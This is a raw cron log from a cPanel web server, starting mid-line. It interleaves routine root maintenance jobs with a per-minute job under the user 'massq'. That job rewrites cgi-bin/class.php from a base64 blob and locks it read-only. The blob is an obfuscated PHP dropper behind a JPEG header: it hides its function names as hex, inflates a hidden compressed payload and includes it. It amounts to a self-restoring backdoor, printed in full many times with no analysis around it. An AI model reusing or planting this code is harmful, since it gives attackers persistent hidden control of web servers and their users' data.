base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:42:01 server CROND[22673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:42:01 server CROND[22674]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 14:42:01 server CROND[22676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:42:01 server CROND[22675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:43:01 server CROND[23215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:43:01 server CROND[23216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:43:01 server CROND[23217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:44:01 server CROND[23582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:44:01 server CROND[23583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:44:01 server CROND[23584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:45:01 server CROND[23977]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 14:45:01 server CROND[23979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:45:01 server CROND[23978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:45:01 server CROND[23980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:45:01 server CROND[23982]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:45:01 server CROND[23984]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 14:45:01 server CROND[23985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:46:01 server CROND[24806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:46:01 server CROND[24807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:46:01 server CROND[24808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:47:01 server CROND[25274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:47:01 server CROND[25275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:47:01 server CROND[25276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:48:01 server CROND[25650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:48:01 server CROND[25651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:48:01 server CROND[25652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:49:01 server CROND[26027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:49:01 server CROND[26028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:49:01 server CROND[26029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:50:01 server CROND[26420]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 14:50:01 server CROND[26421]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:50:01 server CROND[26425]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 14:50:01 server CROND[26428]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 14:50:01 server CROND[26432]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 14:50:01 server CROND[26429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:50:01 server CROND[26427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:50:01 server CROND[26430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:50:01 server CROND[26426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:51:01 server CROND[27355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:51:01 server CROND[27354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:51:01 server CROND[27356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:52:01 server CROND[27723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:52:01 server CROND[27724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:52:01 server CROND[27725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:53:01 server CROND[28186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:53:01 server CROND[28187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:53:01 server CROND[28185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:54:01 server CROND[28563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:54:01 server CROND[28564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
